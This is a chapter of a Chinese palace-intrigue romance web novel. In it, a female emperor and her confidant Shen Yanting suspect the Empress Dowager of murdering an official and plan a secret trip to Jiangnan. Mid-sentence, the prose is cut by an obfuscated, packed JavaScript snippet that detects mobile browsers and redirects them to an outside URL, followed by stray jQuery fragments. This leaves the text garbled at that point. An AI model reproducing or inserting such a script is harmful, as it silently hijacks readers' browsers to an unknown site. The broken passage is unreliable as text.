48. 共进
作品:《凤鸣天阙》 “他们太放肆了。”梁汇一掌拍在案台上,这口气咽了很久都没有咽下去:“陈平安有功不假,他女儿怎么敢用她爹好不容易换的功名求取一个婚姻?!”
更何况婚姻的对象还是她爹生前义愤填膺拒绝过的建宁王。
陈平安当时把太后私下种春棠的事告诉她就是摆明了站队,为了他女儿不和太后一党搅在一起,毅然决然的选择站在她这一边。
可才过了几天,陈于姝就把自己往火坑里推,站在了她爹的对立面,要是陈平安还活着怕是要被她气死。
梁汇也不知道他们给她灌了什么迷魂药,陈于姝撅得跟头驴似的,自己百般阻挠都改变不了她的想法。
傍晚的天是暗黄色的,远处月亮渐渐抬头,西边升起一抹黑色的暗霞。
沈宴廷摸着下巴,脸色有些沉,心里总觉得有一个谜团没有解开,因为这一切未免发生的太巧了。
陈平安得到陛下的口谕到被杀的时间太巧,建宁王府找到陈于姝的时间太巧,陈于姝决定亲自进宫求取婚姻的时间太巧了。
好像一切都在被往前推,背后有一双大手掌握全局。
“你不是说陈于姝被你拿下了吗?为什么又放她走了?”梁汇眼神一眯,不太高兴的问。
若是陈于姝还在她们手里就不会有接下来一系列的事了。
这事确乎是他失职。
“我让沈十看着她,没想到这人趁沈十没注意直接大摇大摆的从正门出去了。”沈宴廷气得骂娘,最后还是闷着头不说话。
若是偷偷翻墙跑,以他府里侍卫的实力不出片刻就能把人直接缉拿回来,可她偏偏偷了沈十的腰牌,仗着无人认识她,大摇大摆的从正门离开。
出其不意,反其道而行。沈宴廷得知消息的时候,直接被气笑了,沈十站在他面前一脸自责的求他降下惩罚。
“哎。”梁汇也只能叹口气,不走心的安慰他:“你就算把她关着也控制不了多久,刑部早晚会来要人,要是连她都失踪了京城会更加人心惶惶”
陈于姝回府的时候不少人都瞧见了,若是在这个节骨眼上消失很难不引起他人遐想。
陈府满门抄斩,京城权贵人人自危,都卯足了劲当乌龟,就怕下一个这样的就是自己。
禁军这两天在京城不分日夜的值守,全力保护普通百姓的安全。百姓信得过朝廷,心也放回了肚子里。
这是沈宴廷安排的,他怕有人不怀好意再次动手,也在暗中搜查谋害陈府的证据。
“也是我难得心善,看她一个小姑娘惊魂未定没有直接让人审。”沈宴廷叹了口气,悔不当初:“难得有良心一次还被这样对待。”
梁汇看着他脸上挫败的表情,莫名有些想笑。
沈宴廷转过身,忽然想起什么,疑惑的问她:“你说你许了陈平安一个好处,被她女儿用来许愿和建宁王成婚?”
梁汇扶着额,淡淡的说:“这就是最蹊跷的一点。当日谈话是私密的,下人都被赶到外面去了,没有人知道我和他说了什么,更不会有人知道他问我要了一个好处。”
这件事他甚至都没有和沈宴廷提。
兹事体大,陈平安把这个当保命符,更不可能给外人说。
但他好像预料到自己的死亡似的,把这件事告诉了他远行女儿,嘱咐她有问题可以找陛下主持公道。
而陈于姝本该去乡下探亲却忽然走到半路回来,好像也有预感京中会发生什么不得了的事。
一切都太巧了。
是什么契机让陈平安直觉会出事?又是什么原因让陈于姝走到半路突然回来?
这事发生的太快了,刑部没有主心骨干事确实没有之前利落。案件发生第一晚前才堪堪把线索封闭完毕,甚至都没来得及把陈于姝带过来。
沈宴廷估摸着刑部的办事效率自己至少还有两天的时间审讯,于是打了个时间差,趁机把人先弄回府中,但还没来得及问什么人就跑了。
跑了也就罢了,刑部趁早会反应过来,只要自己暗中帮他们一把,把人抓回来也是分分钟的事。
关键是,她偏偏被建宁王撞见了,还被他说服了。本来太后就有意促成两方姻缘,这样一来二去更是方便她嫁进建宁王府。
站在她的角度,这件事她确实做的确实有几分道理。
嫁进王府之后对她虎视眈眈的人要动她确实要掂量掂量。谋害王室正妃,就是明晃晃的和天家对立,无人敢担这样罪名。
就连沈宴廷都不敢贸然行事,恐怕打草惊蛇,也怕建宁王府有他没有料到的后手。
一环扣着一环,如果没有她的口谕,陈于姝的婚约不会成立;如果她和王府没有关系,沈宴廷或者刑部把她带走确实也很容易。
梁汇忽然想起什么似的骤然抬头,沈宴廷也和他想到一块去了。
“你当时为什么许陈平安承诺?”
“因为他调查到太后种了毒死我父皇和弟弟的毒药。”
太后。
对了,还有太后。
苏太妃和太后交好,私下里多次帮助建宁王府,听说梁崇的病她也没少费心。
这样的话就说的通了,她驳回了太后当众提出来的婚约,太后不死心,又私下里派人拦了陈于姝亲自劝她。
“太后怎么会知道陈府后来发生的事。”梁汇不禁提出疑问。
陈平安爱女心切朝中人人皆知,可以说只要是他活着,陈于姝绝对不能嫁到建宁王府守活寡。
于是幕后黑手偏偏解决了陈平安,让这个假如变成了真的。
陈于姝为了得到庇护自愿成婚,即便是陛下百般阻拦,她还是搬出了她爹留给她的保命符。
圣上一言既出驷马难追,梁汇不能出尔反尔,于是这个婚约成立了。
一切形成闭环。
“这样推的话,陈平安的死和太后和建宁王脱不了干系。”沈宴廷默默的提出了心中所想。
梁汇皱了皱眉,她也想到了这一点,喃喃的提出疑问:“想娶陈于姝,于是杀了她爹?”
这太可怕了,如果这是真的,陈于姝会怎么想,以后知道了该怎么办?
梁汇有些心软,沈宴廷一是知道的。如果他们推断的是真的,梁汇一定会后悔把她一个弱女子推到风口浪尖。
明明这件事她也劝过了,只是无力回天。对方拼了命往悬崖里跳,她就算有八只手也阻止不了想找死的人。
可梁汇就是一个敏感又自责的人,总是喜欢把罪责归咎在自己一个人身上。
“有这种可能,但我们还没证据。”沈宴廷向前一步伸了伸手想拢着她的肩膀像过去一样安慰她,可现在因为君臣有别,他只能放轻声音,温柔的安抚。
梁汇垂着头,白得发亮的脖颈在摇曳的灯光下显得有些脆弱。沈宴廷心里有些发酸,他很想说你管不了那么多人,坐在这个位子上不能同情心泛滥。
可看她落寞又自责的样子,沈宴廷有些说不出口。
初春还是有些凉意,殿内的火炉里面还烧着不少碳,二人身上穿的不多,属于双方的气味和体温好像因为沉默的气氛变得异常清晰,即便没有触碰也传到了彼此身上。
人与人之间关系的迈进是从止不住的依赖开始的。从事情发生到现在,梁汇在外人面前装得镇定,却因为情绪起伏和巨大的疑惑作祟,立刻吩咐人让沈宴廷进宫。
对方来到之后就一直听着她发牢骚,替自己疏解脾气,温柔的在身边陪着她、安慰她。
梁汇动了动唇,觉得气氛暧昧的让人脸红,于是主动转移话题,说:“无论怎么说,她身上的疑点太多了。你派人守着太后和建宁王府,有一点风吹草动都要告诉我。”
沈宴廷点点头:“我来之前就派人守着了。”
初春的风吹在脸上,丝丝凉凉。
梁汇抿着唇,眼睛是垂下来的,看起来很柔和。
其实大多数时候她都是安安静静的,喜欢眺望远方。那么多天沈宴廷已经熟悉了她身上属于陛下的凌厉,很久没看到她这样完全放松的状态了。
梁汇沉默很久,忽然放轻声音低咛了一句:“我身边最信任的就是你了,你不要骗我,什么事情都不要隐瞒我。”
沈宴廷嘴角微微一动,本想立即应下却被她一个眼神打断。
“想好再答应我,你但凡有一件事瞒着我,我们以后就没有什么机会了。”梁汇语气很轻,但说的很认真,像是在自言自语,但沈宴廷知道她是在等他的回应。
梁汇话说得浅显,没有直接说什么机会,哪个机会。
但沈宴廷就是知道。他感觉自己的心一直在跳,好像儿时作业没写完就交给太傅批改,太傅冷着眼问他要解释的时候。
他从未感觉心脏跳得那么快,脑中像烟花一样噼里啪啦的冒着彩光。他听见自己泄气般笑了一下,像是期待了很久的人突然回来,和当年离开的样子一模一样。
他听见自己声音有些哑,脸上的肌肉也有些僵:“我答应你,我永远都不会瞒着你。”
我会长久的信任你、追随你,和你同进退,做你最忠诚的信徒。
我会长久的爱着你,知无不言;我也会长久的陪在你身边,亦如星星陪伴月亮。
梁汇肩膀一松,指尖微微一颤。宽大的长袖遮住了她发颤的手指,下一秒,她感觉到一个宽大温暖的手掌包住了她。
她深深吐出一口气,卸了力靠在他身上:“我们会赢的,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314896|198778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对吧?”
“一定会的。”沈宴廷低声应道:“从今往后命运会把我们绑在一切,我们生死与共。”
太久了,她一个人熬了太长时间。
她刚继位时怕有人拿沈宴廷威胁她故意疏远,后来发现这个人即便在自己的冷暴力下依旧强硬的闯入她的生活留在自己身边。
既然赶不走,那不如二人同进退,像当年一样。
郁郁寡欢的时候是你逗我开心,风光无限的时候也是你陪在我身边,无论后来的路是否艰辛,我们都一同进退。
梁汇靠在他的肩膀上,久违的产生依赖。
许久,她听见沈宴廷在她耳边轻声问:“你方才说陈平安私下帮你查了谋害你父皇和弟弟的真凶。”
“嗯。”梁汇点了点头。说起这个的时候心脏还是会发紧,她抿了唇,有些不知道怎么说出口。但方才才和人立下生死之交,总不能现在第一件事就瞒着吧。
于是她站直身子,走到一旁的案台前席地一坐:“陈平安查到太后私下培育春棠,这个东西就是毒害我亲人的真凶。刑部查不到这个,因为下毒的人十分警惕没有从吃食入手,而是把东西下在了香料里。他知道我父皇有点香的习惯……”
沈宴廷自然而然的接过后话:“所以这件事和太后脱不了干系,大概率还是与先帝关系亲密的人动的手。”
“对。”
就是因为如此梁汇才有些心寒,以至于很长一段时间谁都不信,连沈宴廷都被排斥在外。
“你确定吗?陈平安的话也不能全信,他身上疑点很重,和别的势力有没有交集我们还没查清。”
“我确定。”梁汇回答的斩钉截铁:“我让人去太后那边看过,甚至特地派人去南方核实这种作物的培育方法与药效,这都与陈平安说的别无二差。”
“我让人顺着这个线索往下查?”
“不了。”梁汇摇了摇头,低声说:“我总有一种直觉,我得亲自去江南一趟。”
沈宴廷莫名想起某天他对她许下的承诺——待到开春江南牡丹红似火,我再带你去水乡。
而现在,这是开春的时候,江南正是一年之中最美丽的时候。
“春假要来了。”梁汇抬头望着天空中的繁星,轻轻的说:“我打算趁着春假去一趟,快马加鞭的话,十日之内是能回来的。”
春天的时候有十天假期,和休沐差不多的性质,都是官员们调整休息的日子。太祖之所以把春假定在这个时候,就是为了方便农民的春种。
现在看来,若是他们想默不作声的去江南查案,春假确实是最好的时候。
“现在刑部对陈平安的案子毫无进展,即便我们能猜出是太后从中做笔但没有一针见血的证据还是无法动她。”
太后在朝中积累的声望颇大,即便没有沈宴廷提醒,不到关键时刻她也绝不会把矛头指向太后,至少在表面关系上她们是祥和的。
“你在这案子中参了一脚,做什么怎么做都看你自己。如果后来真没有查到什么人,十日之内也得一个人给案子一个交代。”梁汇在殿内逡巡,眼神凌厉。
她的意思沈宴廷懂,幕后黑手不能扒出来,那为了平息余怒或者给百姓一个交代,朝廷需要推出一个替罪羊。
“况且我不觉得幕后黑手不会丢一个人交给刑部一个交代,甚至用不着我们出手。”
沈宴廷闻言笑出了声,梁汇惯会洞察人心,这点也亏得她提醒。
行,案子还没开始调查就算已经出调查结果了,他们三两句相当于给刑部放了个假。
梁汇把一切都安排了,终于重重的呼出一口气,喃喃自语道:“希望这段时日京中能安宁。”
要是真发生别的大事,像陈府满门抄斩的状况,京中无人坐守必定大乱,到时候就是她的失职了。
“应该不会大乱。陈府的事足够让刑部焦头乱麻了。他们的目的已经达到了,短时间内幕后之人应该不会再闹一出。”沈宴廷站在他身后,体型差的缘故二人的影子交在一起。
“还有半个月到春假。”
日子过得真慢。他叹了一声。
“嗯。”梁汇应了一声,算起来这倒是他们第一次出远门。
“今晚别走了,宫门已经锁了,你住偏殿吧。”梁汇声音很轻,离远了听可能有些不稳。
她语速很快,像是故意逃避什么似的,说罢就自己去了后面的寝殿。
沈宴廷站在原地眉眼一动,心里软软的又甜丝丝的,像是被春风沐浴。
他知道这是梁汇在潜移默化的默许他的存在,默不作声的把自己安排在她的生活中。
她主动把他拉进有她的生活,说的同进退在这一刻显化。

